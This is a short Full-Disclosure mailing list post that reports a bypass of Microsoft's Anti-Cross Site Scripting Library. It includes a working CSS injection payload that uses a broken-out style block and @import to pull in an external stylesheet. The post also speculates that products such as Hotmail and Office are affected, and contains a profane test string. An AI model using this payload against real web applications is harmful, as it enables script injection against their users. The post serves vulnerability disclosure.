Microsoft Anti-Cross Site Scripting Library Bypass

[Web Sec <root () 80sec com>]

Microsoft use anti-xss library to filter content from user,but there is some
VULN in the library,so anyone can bypass this function to make a XSS
attack.All webapps use anti-xss library will be unsecue(Maybe include
Hotmal,Office,IE......)

You can use this code to bypass it,and there maybe othere cases to do this :

<style>

}@import url('//127.0.0.1/1.css');aaa

{;}

</style>

<div id="x">Fuck Ie</div>

More information:

http://www.wooyun.org/bug.php?action=view&id=190

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/